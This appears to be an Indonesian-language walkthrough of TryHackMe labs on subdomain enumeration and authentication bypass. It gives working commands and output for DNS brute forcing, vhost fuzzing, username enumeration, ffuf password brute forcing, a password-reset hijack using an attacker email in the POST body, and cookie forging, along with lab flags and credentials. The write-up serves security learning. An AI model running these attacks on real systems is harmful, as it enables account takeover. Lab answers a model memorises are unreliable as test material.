Bruteforce DNS enumeration adalah metode untuk menemukan subdomain dengan cara mencoba banyak kemungkinan nama subdomain terhadap sebuah domain. Percobaan ini biasanya menggunakan wordlist berisi nama subdomain umum.

Metode ini dapat melibatkan:

  • Puluhan
  • Ratusan
  • Ribuan
  • Bahkan jutaan kemungkinan subdomain

Karena proses ini menghasilkan banyak request ke server DNS, biasanya proses tersebut diotomatisasi menggunakan tools agar lebih cepat dan efisien.

Cara Kerja

Proses bruteforce DNS umumnya dilakukan dengan langkah berikut:

  1. Menyiapkan wordlist subdomain umum (misalnya: admin, mail, dev, test, api).
  2. Tool akan mencoba menggabungkan setiap kata dalam wordlist dengan domain target.
  3. Tool mengirim DNS request untuk memeriksa apakah subdomain tersebut valid atau tidak.
  4. Jika DNS memberikan respon, berarti subdomain tersebut ada.

Contoh:

admin.domain.com
mail.domain.com
dev.domain.com
api.domain.com

Tool yang Digunakan: dnsrecon

Salah satu tool yang sering digunakan untuk melakukan DNS enumeration adalah dnsrecon.

Fungsi utama dnsrecon:

  • Melakukan DNS reconnaissance
  • Melakukan bruteforce subdomain
  • Mengumpulkan informasi DNS dari domain target

Contoh penggunaan:

dnsrecon -d domain.com -D wordlist.txt -t brt

Penjelasan parameter:

  • -d → domain target
  • -D → wordlist subdomain
  • -t brt → mode bruteforce
user@thm:~$ dnsrecon -t brt -d acmeitsupport.thm
[*] No file was specified with domains to check.
[*] Using file provided with tool: /usr/share/dnsrecon/namelist.txt
[*]     A api.acmeitsupport.thm 10.10.10.10
[*]     A www.acmeitsupport.thm 10.10.10.10
[+] 2 Record Found
user@thm:~$
  • What is the first subdomain found with the dnsrecon tool?

api.acmeitsupport.thm

OSINT - Sublist3r

Otomatisasi OSINT Subdomain Enumeration

Pengertian

Dalam proses OSINT subdomain discovery, pencarian subdomain secara manual (misalnya melalui search engine atau database publik) bisa memakan waktu lama. Untuk mempercepat proses tersebut, kita dapat menggunakan tools otomatis yang mengumpulkan informasi dari berbagai sumber secara bersamaan.

Salah satu tools yang sering digunakan adalah Sublist3r.

Sublist3r

Sublist3r adalah tools OSINT yang digunakan untuk mengumpulkan subdomain dari berbagai sumber publik secara otomatis.

Sumber data yang biasanya digunakan

Sublist3r mengumpulkan data dari beberapa sumber seperti:

  • Search engine (Google, Bing, Yahoo)
  • Certificate Transparency logs
  • DNS records
  • Website indexing services
  • Database OSINT lainnya

Dengan menggabungkan banyak sumber, Sublist3r dapat menemukan lebih banyak subdomain dalam waktu yang lebih cepat dibanding pencarian manual.

Cara Kerja

Secara umum, prosesnya adalah:

  1. Memasukkan domain target.
  2. Tool melakukan query ke berbagai sumber OSINT.
  3. Mengumpulkan dan menampilkan daftar subdomain yang ditemukan.

Contoh penggunaan di terminal:

sublist3r -d domain.com

Penjelasan:

  • -d → domain target yang ingin dicari subdomainnya.
user@thm:~$ ./sublist3r.py -d acmeitsupport.thm
#
#          ____        _     _ _     _   _____
#         / ___| _   _| |__ | (_)___| |_|___ / _ __
#         \___ \| | | | '_ \| | / __| __| |_ \| '__|
#          ___) | |_| | |_) | | \__ \ |_ ___) | |
#         |____/ \__,_|_.__/|_|_|___/\__|____/|_|
#
#         # Coded By Ahmed Aboul-Ela - @aboul3la
#
# [-] Enumerating subdomains now for acmeitsupport.thm
# [-] Searching now in Baidu..
# [-] Searching now in Yahoo..
# [-] Searching now in Google..
# [-] Searching now in Bing..
# [-] Searching now in Ask..
# [-] Searching now in Netcraft..
# [-] Searching now in Virustotal..
# [-] Searching now in ThreatCrowd..
# [-] Searching now in SSL Certificates..
# [-] Searching now in PassiveDNS..
# [-] Searching now in Virustotal..
# [-] Total Unique Subdomains Found: 2
# web55.acmeitsupport.thm
# www.acmeitsupport.thm
user@thm:~$
  • What is the first subdomain discovered by sublist3r?

web55.acmeitsupport.thm

Virtual Hosts

Virtual Host (VHost) Enumeration

Pengertian

Tidak semua subdomain selalu tercatat pada DNS publik. Beberapa subdomain seperti:

  • versi development aplikasi
  • admin portal
  • layanan internal

sering kali hanya disimpan pada:

  • Private DNS server
  • file hosts lokal developer

Contoh lokasi file hosts:

  • Linux / macOS: /etc/hosts
  • Windows: C:\Windows\System32\drivers\etc\hosts

File tersebut digunakan untuk memetakan domain ke alamat IP secara langsung tanpa melalui DNS publik.

Konsep Virtual Host

Satu web server dapat menjalankan banyak website sekaligus pada satu alamat IP. Server menentukan website mana yang diminta oleh client melalui HTTP Host Header.

Contoh request header:

Host: example.com

Jika kita mengubah nilai Host header, server mungkin merespon dengan website lain yang berada pada server yang sama.

Teknik ini dapat digunakan untuk menemukan subdomain tersembunyi (Virtual Hosts).

Otomatisasi Virtual Host Discovery

Seperti DNS Bruteforce, proses ini dapat diotomatisasi menggunakan:

  • wordlist subdomain
  • tools fuzzing seperti ffuf

Tool: ffuf (Fuzz Faster U Fool)

Perintah Dasar

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228
Penjelasan Parameter
  • -w → menentukan wordlist yang digunakan
  • -H → menambahkan atau mengubah HTTP header
  • FUZZ → placeholder yang akan diganti dengan setiap kata dari wordlist
  • -u → URL target

Tool akan mencoba setiap kemungkinan:

admin.acmeitsupport.thm
test.acmeitsupport.thm
dev.acmeitsupport.thm
portal.acmeitsupport.thm

Filtering Output

Perintah pertama biasanya menghasilkan banyak hasil yang sama, sehingga perlu difilter menggunakan page size.

Gunakan parameter -fs (filter size).

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228 -fs {size}
Fungsi

-fs akan mengabaikan respon dengan ukuran halaman tertentu, sehingga hanya hasil yang berbeda yang ditampilkan.

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228
# reference               [Status: 200, Size: 2395, Words: 503, Lines: 52]
# register                [Status: 200, Size: 2395, Words: 503, Lines: 52]
# reg                     [Status: 200, Size: 2395, Words: 503, Lines: 52]
# registry                [Status: 200, Size: 2395, Words: 503, Lines: 52]
# registro                [Status: 200, Size: 2395, Words: 503, Lines: 52]
# regs                    [Status: 200, Size: 2395, Words: 503, Lines: 52]
# relay                   [Status: 200, Size: 2395, Words: 503, Lines: 52]
# rem                     [Status: 200, Size: 2395, Words: 503, Lines: 52]

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.49.132.228 --fs 2395
# delta                   [Status: 200, Size: 51, Words: 7, Lines: 1]
# yellow                  [Status: 200, Size: 56, Words: 8, Lines: 1]
  • What is the first subdomain discovered?

delta

  • What is the second subdomain discovered?

yellow

Authentication Bypass

Brief

Username Enumeration

Username enumeration adalah teknik untuk menemukan username yang valid pada sebuah sistem autentikasi. Teknik ini sering digunakan saat melakukan pengujian keamanan (security testing) untuk mengidentifikasi akun yang sudah terdaftar.

Mengetahui username yang valid sangat berguna karena:

  • Mempersempit target saat melakukan password attack (bruteforce / credential stuffing).
  • Membantu menemukan vulnerability pada sistem autentikasi.

Sumber Informasi: Error Message

Konsep

Pesan error dari website sering kali memberikan informasi sensitif yang dapat dimanfaatkan oleh attacker.

Contoh pada halaman signup:

An account with this username already exists

Pesan ini menunjukkan bahwa username yang dimasukkan sudah terdaftar, sehingga kita dapat memastikan bahwa username tersebut valid.

Target Lab

Halaman signup yang digunakan:

http://10.49.144.172/customers/signup

Jika mencoba membuat akun dengan username admin, website akan menampilkan pesan bahwa username tersebut sudah ada.

Hal ini menunjukkan bahwa website rentan terhadap username enumeration.

Otomatisasi dengan ffuf

Untuk mempercepat proses pengecekan banyak username, kita dapat menggunakan ffuf (Fuzz Faster U Fool).

Contoh perintah:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt \
-X POST \
-d "username=FUZZ&email=x&password=x&cpassword=x" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://10.49.144.172/customers/signup \
-mr "username already exists"

Penjelasan Parameter

  • -w → lokasi file wordlist username
  • -X → metode request HTTP (POST)
  • -d → data form yang dikirim ke server
  • FUZZ → placeholder untuk setiap username dari wordlist
  • -H → menambahkan HTTP header
  • -u → URL target
  • -mr → filter hasil berdasarkan teks tertentu pada response

Tool akan mencoba setiap username dari wordlist seperti:

admin
john
james
david
michael

Jika server merespon dengan teks "username already exists", maka username tersebut valid.

Output yang Harus Dibuat

Buat file untuk menyimpan username yang valid:

valid_usernames.txt

Isi file tersebut dengan username yang ditemukan oleh ffuf. Contoh:

admin
john
david
michael

File ini akan digunakan pada task berikutnya untuk melakukan pengujian autentikasi lebih lanjut.

curl http://10.48.173.233/customers/signup
# username=a&email=a&password=a&cpassword=a

# An account with this username already exists

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=a&password=a&cpassword=a" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.173.233/customers/signup -mr "An account with this username already exists"
# admin                   [Status: 200, Size: 3720, Words: 992, Lines: 77]
# robert                  [Status: 200, Size: 3720, Words: 992, Lines: 77]
# simon                   [Status: 200, Size: 3720, Words: 992, Lines: 77]
# steve                   [Status: 200, Size: 3720, Words: 992, Lines: 77]
# :: Progress: [10164/10164] :: Job [1/1] :: 682 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
  • What is the username starting with si*** ?

simon

  • What is the username starting with st*** ?

steve

  • What is the username starting with ro**** ?

robert

Brute Force

Brute force attack adalah teknik serangan otomatis yang mencoba banyak kombinasi username dan password hingga menemukan kredensial yang valid.

Serangan ini biasanya menggunakan:

  • Daftar username valid
  • Wordlist password umum

Pada lab ini, kita menggunakan username yang sudah ditemukan sebelumnya dari proses username enumeration.

Target Login Page

Halaman login yang menjadi target:

http://10.48.173.233/customers/login

File yang digunakan:

  • valid_usernames.txt → berisi username valid dari task sebelumnya
  • wordlist password → daftar password umum

Brute Force Menggunakan ffuf

Perintah yang digunakan:

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 \
-X POST \
-d "username=W1&password=W2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://10.48.173.233/customers/login \
-fc 200

Penjelasan Parameter

  • -w → menentukan wordlist yang digunakan

    • valid_usernames.txt:W1 → wordlist username
    • password-list:W2 → wordlist password
  • W1 dan W2 digunakan sebagai placeholder untuk multiple wordlist fuzzing.

  • -X POST → metode HTTP request yang digunakan.

  • -d → data form yang dikirim ke server.

  • -H → menambahkan header HTTP agar server mengenali data sebagai form.

  • -u → URL target login.

  • -fc 200 → menyembunyikan response dengan status code 200 sehingga hanya response berbeda yang muncul.

cat << EOF > valid_usernames.txt
admin
simon
steve
robert
EOF

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.173.233/customers/login -fc 200
# [Status: 302, Size: 0, Words: 1, Lines: 1]
#     * W1: steve
#     * W2: thunder
  • What is the valid username and password (format: username/password)?

steve/thunder

Logic Flaw

Logic flaw adalah kelemahan keamanan yang terjadi ketika alur logika normal aplikasi dapat dilewati, dimanipulasi, atau disalahgunakan oleh penyerang.

Kerentanan ini tidak selalu berasal dari bug teknis, tetapi dari kesalahan dalam desain atau implementasi logika aplikasi.

Logic flaw dapat terjadi di berbagai bagian aplikasi web, seperti:

  • sistem login
  • reset password
  • authorization
  • proses validasi input

Contoh Logic Flaw

Berikut contoh kode sederhana:

if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}

Penjelasan

Kode tersebut memeriksa apakah URL yang diakses dimulai dengan /admin.

Jika benar:

  • aplikasi akan melakukan pengecekan apakah user adalah admin

Jika tidak:

  • halaman akan langsung ditampilkan.

Kerentanan

Kode menggunakan operator === yang memerlukan kecocokan string secara persis termasuk huruf besar/kecil.

Sehingga:

/admin   → dicek
/adMin   → tidak dicek

Akibatnya, user yang tidak terautentikasi dapat mengakses halaman admin hanya dengan mengubah huruf pada URL.

Studi Kasus: Password Reset Vulnerability

Target halaman:

http://10.48.173.233/customers/reset

Tahap 1 – Input Email

Form pertama meminta email akun.

Jika email tidak valid → muncul pesan:

Account not found from supplied email address

Contoh email valid:

robert@acmeitsupport.thm

Tahap 2 – Input Username

Form berikutnya meminta username yang terkait dengan email tersebut.

Jika username benar (robert), sistem menampilkan pesan bahwa email reset password akan dikirim.

Secara teori, proses ini terlihat aman karena membutuhkan:

  • email
  • username

Analisis Request HTTP

Dalam proses reset password:

  • Email dikirim melalui GET parameter
  • Username dikirim melalui POST parameter

Contoh request menggunakan curl:

curl 'http://10.48.173.233/customers/reset?email=robert%40acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert'

Penjelasan

  • -H → menambahkan header HTTP
  • Content-Type → menunjukkan bahwa data dikirim sebagai form data
  • -d → data POST yang dikirim ke server

Kerentanan: Penggunaan $_REQUEST

Aplikasi menggunakan variabel PHP:

$_REQUEST

Variabel ini menggabungkan data dari:

  • GET
  • POST
  • COOKIE

Jika terdapat parameter yang sama pada GET dan POST, maka POST akan diprioritaskan.

Eksploitasi Logic Flaw

Penyerang dapat menambahkan parameter email tambahan pada POST data.

Request yang dimodifikasi:

curl 'http://10.48.173.233/customers/reset?email=robert%40acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert&email=attacker@hacker.com'

Dampak

  • Sistem tetap mencari akun Robert menggunakan parameter GET.
  • Namun email reset password akan dikirim ke email yang dikirim melalui POST.

Artinya penyerang dapat mengalihkan email reset password ke email mereka sendiri.

Langkah Eksploitasi pada Lab

  1. Buat akun pada Acme IT Support customer portal.
  2. Akun akan memiliki email format:
{username}@customer.acmeitsupport.thm
  1. Jalankan request berikut menggunakan email tersebut:
curl 'http://10.48.173.233/customers/reset?email=robert@acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert&email={username}@customer.acmeitsupport.thm'
  1. Sistem akan membuat support ticket pada akunmu yang berisi link login sebagai Robert.

exploit

aria
aria@customer.acmeitsupport.thm
aria1234

USER=hacker${RANDOM}
PASS="Hacker123"

echo "Creating account with username: $USER and password: $PASS"
curl -X POST http://10.48.173.233/customers/signup -d "username=$USER" -d "email=$USER%40customer.acmeitsupport.thm" -d "password=$PASS" -d "cpassword=$PASS"

echo "Requesting password reset for Robert"
curl 'http://10.48.173.233/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d "username=robert&email=$USER@customer.acmeitsupport.thm"

echo "Check support ticket for login link"
# curl "http://10.48.173.233/customers/tickets/8"

1773680146751

setelah itu lakukan curl ke ticket 1 setelah login ke user robert untuk mendapatkan flagnya

curl http://10.48.173.233/customers/tickets/1
# Please don't tell anyone this! THM{AUTH_BYPASS_COMPLETE}
  • What is the flag from Robert's support ticket?

THM{AUTH_BYPASS_COMPLETE}

Manipulasi Cookies pada Aplikasi Web

Cookies adalah data kecil yang disimpan oleh browser untuk menyimpan informasi sesi pengguna. Dengan memeriksa dan memodifikasi cookies, seorang attacker dapat memperoleh:

  • Akses tanpa autentikasi
  • Akses ke akun pengguna lain
  • Hak akses lebih tinggi (privilege escalation)

Cookies dalam Bentuk Plain Text

Setelah login, server dapat mengirim cookie seperti berikut:

Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/

Penjelasan

  • logged_in → menentukan apakah user sedang login
  • admin → menentukan apakah user memiliki hak admin

Karena nilainya plain text, attacker dapat mengubah nilainya secara manual.

Simulasi Menggunakan curl

curl http://10.48.173.233/cookie-test

Hasil:

Not Logged In
Request 2 – Login sebagai User
curl -H "Cookie: logged_in=true; admin=false" http://10.48.173.233/cookie-test

Hasil:

Logged In As A User
Request 3 – Login sebagai Admin
curl -H "Cookie: logged_in=true; admin=true" http://10.48.173.233/cookie-test

Hasil:

Logged In As An Admin

Dengan mengubah nilai cookie, attacker bisa langsung memperoleh akses admin.

Kadang nilai cookie tidak berbentuk teks biasa, tetapi berupa hash (string panjang acak).

Hash adalah representasi satu arah dari data asli sehingga tidak dapat dikembalikan ke bentuk semula secara langsung. Contoh:

InputMetode HashOutput
1md5c4ca4238a0b923820dcc509a6f75849b
1sha2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
1sha5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
1sha1356a192b7913b04c54574d18c28d46e6395428ab

Crack Hash

Walaupun hash bersifat satu arah, banyak hash dapat ditemukan melalui database hash publik seperti:

Website ini menyimpan miliaran hash dan nilai aslinya sehingga dapat membantu menemukan plaintext dari hash tertentu.

Encoding berbeda dengan hashing karena dapat dibalik (reversible).

Tujuan encoding:

  • Mengubah data binary menjadi teks ASCII
  • Memudahkan transmisi data melalui HTTP

Jenis Encoding Umum

  • Base32 → karakter A–Z dan 2–7
  • Base64 → karakter a–z, A–Z, 0–9, +, /, dan =

Server mengirim cookie berikut:

Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/

Jika Base64 didecode, hasilnya:

{"id":1,"admin": false}

Eksploitasi

Langkah attacker:

  1. Decode nilai Base64 cookie.
  2. Ubah nilai admin menjadi true.
{"id":1,"admin": true}
  1. Encode kembali ke Base64.
  2. Kirim cookie yang sudah dimodifikasi ke server.

Hasilnya:

  • Server menganggap user sebagai admin
  • Attacker memperoleh akses admin.

Lab

curl http://10.48.173.233/cookie-test
# Not Logged In

curl -H "Cookie: logged_in=true; admin=false" http://10.48.173.233/cookie-test
# Logged In As A User
curl -H "Cookie: logged_in=true; admin=true" http://10.48.173.233/cookie-test
# Logged In As An Admin - THM{COOKIE_TAMPERING}

- What is the flag from changing the plain text cookie values?
> THM{COOKIE_TAMPERING}

- https://crackstation.net/

```bash
3b2a1053e3270077456a79192070aa78

# 3b2a1053e3270077456a79192070aa78	md5	463729
  • What is the value of the md5 hash 3b2a1053e3270077456a79192070aa78 ?

463729

echo "VEhNe0JBU0U2NF9FTkNPRElOR30=" | base64 -d
# THM{BASE64_ENCODING}
  • What is the base64 decoded value of VEhNe0JBU0U2NF9FTkNPRElOR30= ?

THM{BASE64_ENCODING}

echo '{"id":1,"admin":true}' | base64
# eyJpZCI6MSwiYWRtaW4iOnRydWV9Cg==
  • Encode the following value using base64 {"id":1,"admin":true}

eyJpZCI6MSwiYWRtaW4iOnRydWV9Cg==

On this page

Walking An ApplicationWalking An ApplicationExploring The WebsiteReview Fitur Website dalam Penetration TestingContoh Site Review (Acme IT Support)Kenapa Mapping Fitur Itu Penting?Viewing The Page SourcePage Source (Sumber Halaman)Cara Melihat Page SourceInformasi Penting yang Bisa Ditemukan1. HTML Comments2. Anchor Tag (Link)3. Hidden Link4. Directory Listing Misconfiguration5. Framework & Version DisclosureDeveloper Tools - InspectorCara Membuka Developer ToolsInspector (Element Inspector)Contoh Kasus: Paywall PremiumLangkah Bypass Paywall (Dengan Inspector)Kenapa Ini Bisa Terjadi?Hal Penting Tentang InspectorDeveloper Tools - DebuggerCara Menggunakan DebuggerAnalisis File JavaScriptPretty PrintMenemukan Logika PentingBreakpointsKenapa Ini Penting?Developer Tools - NetworkCara Menggunakan Network TabContoh Kasus: Contact FormAJAXAnalisis Request FormKenapa Network Tab Sangat Penting?Content DiscoveryWhat Is Content Discovery?Jenis Content yang Biasanya DitemukanMetode Content Discovery1. Manual2. Automated3. OSINT (Open-Source Intelligence)Manual Discovery - Robots.txtRobots.txtKenapa Robots.txt Penting untuk Pentester?Contoh Informasi yang Sering DitemukanManual Discovery - FaviconKenapa Favicon Penting?OWASP Favicon DatabasePraktikalMengambil Hash Favicon (Linux)Mengambil Hash Favicon (Windows PowerShell)Kenapa Ini Efektif?Manual Discovery - Sitemap.xmlKenapa Penting untuk Pentester?Manual Discovery - HTTP HeadersContoh Informasi SensitifCara Mengecek HeaderKenapa Ini Penting?Manual Discovery - Framework StackContoh Kasus (Acme IT Support)Kenapa Ini Penting?OSINT - Google Hacking / DorkingCara Kerja Google DorkingOperator PentingKenapa Ini Penting?OSINT - WappalyzerOSINT - Wayback MachineOSINT - GitHubOSINT - S3 BucketsAutomated DiscoveryWordlistTools Automated DiscoveryffufdirbgobusterCara Membaca HasilSubdomain EnumerationBriefSubdomain EnumerationPengertianTujuanMetode Subdomain Enumeration1. Brute Force2. OSINT (Open-Source Intelligence)3. Virtual HostOSINT - SSL/TLS CertificatesCertificate Transparency (CT) LogsPengertianPemanfaatan CT Logs dalam Subdomain EnumerationOSINT - Search EnginesSubdomain Enumeration Menggunakan Search EnginePengertianOperator site: pada GooglePenjelasanDNS BruteforceBruteforce DNS EnumerationPengertianCara KerjaTool yang Digunakan: dnsreconOSINT - Sublist3rOtomatisasi OSINT Subdomain EnumerationPengertianSublist3rSumber data yang biasanya digunakanCara KerjaVirtual HostsVirtual Host (VHost) EnumerationPengertianKonsep Virtual HostOtomatisasi Virtual Host DiscoveryTool: ffuf (Fuzz Faster U Fool)Perintah DasarPenjelasan ParameterFiltering OutputFungsiAuthentication BypassBriefUsername EnumerationSumber Informasi: Error MessageKonsepTarget LabOtomatisasi dengan ffufPenjelasan ParameterOutput yang Harus DibuatBrute ForceTarget Login PageBrute Force Menggunakan ffufPenjelasan ParameterLogic FlawContoh Logic FlawPenjelasanKerentananStudi Kasus: Password Reset VulnerabilityTahap 1 – Input EmailTahap 2 – Input UsernameAnalisis Request HTTPPenjelasanKerentanan: Penggunaan $_REQUESTEksploitasi Logic FlawDampakLangkah Eksploitasi pada LabexploitCookie TamperingManipulasi Cookies pada Aplikasi WebCookies dalam Bentuk Plain TextContoh CookiePenjelasanSimulasi Menggunakan curlRequest 1 – Tanpa CookieRequest 2 – Login sebagai UserRequest 3 – Login sebagai AdminHash pada CookieCrack HashEncoding pada CookieJenis Encoding UmumContoh Cookie Base64EksploitasiLab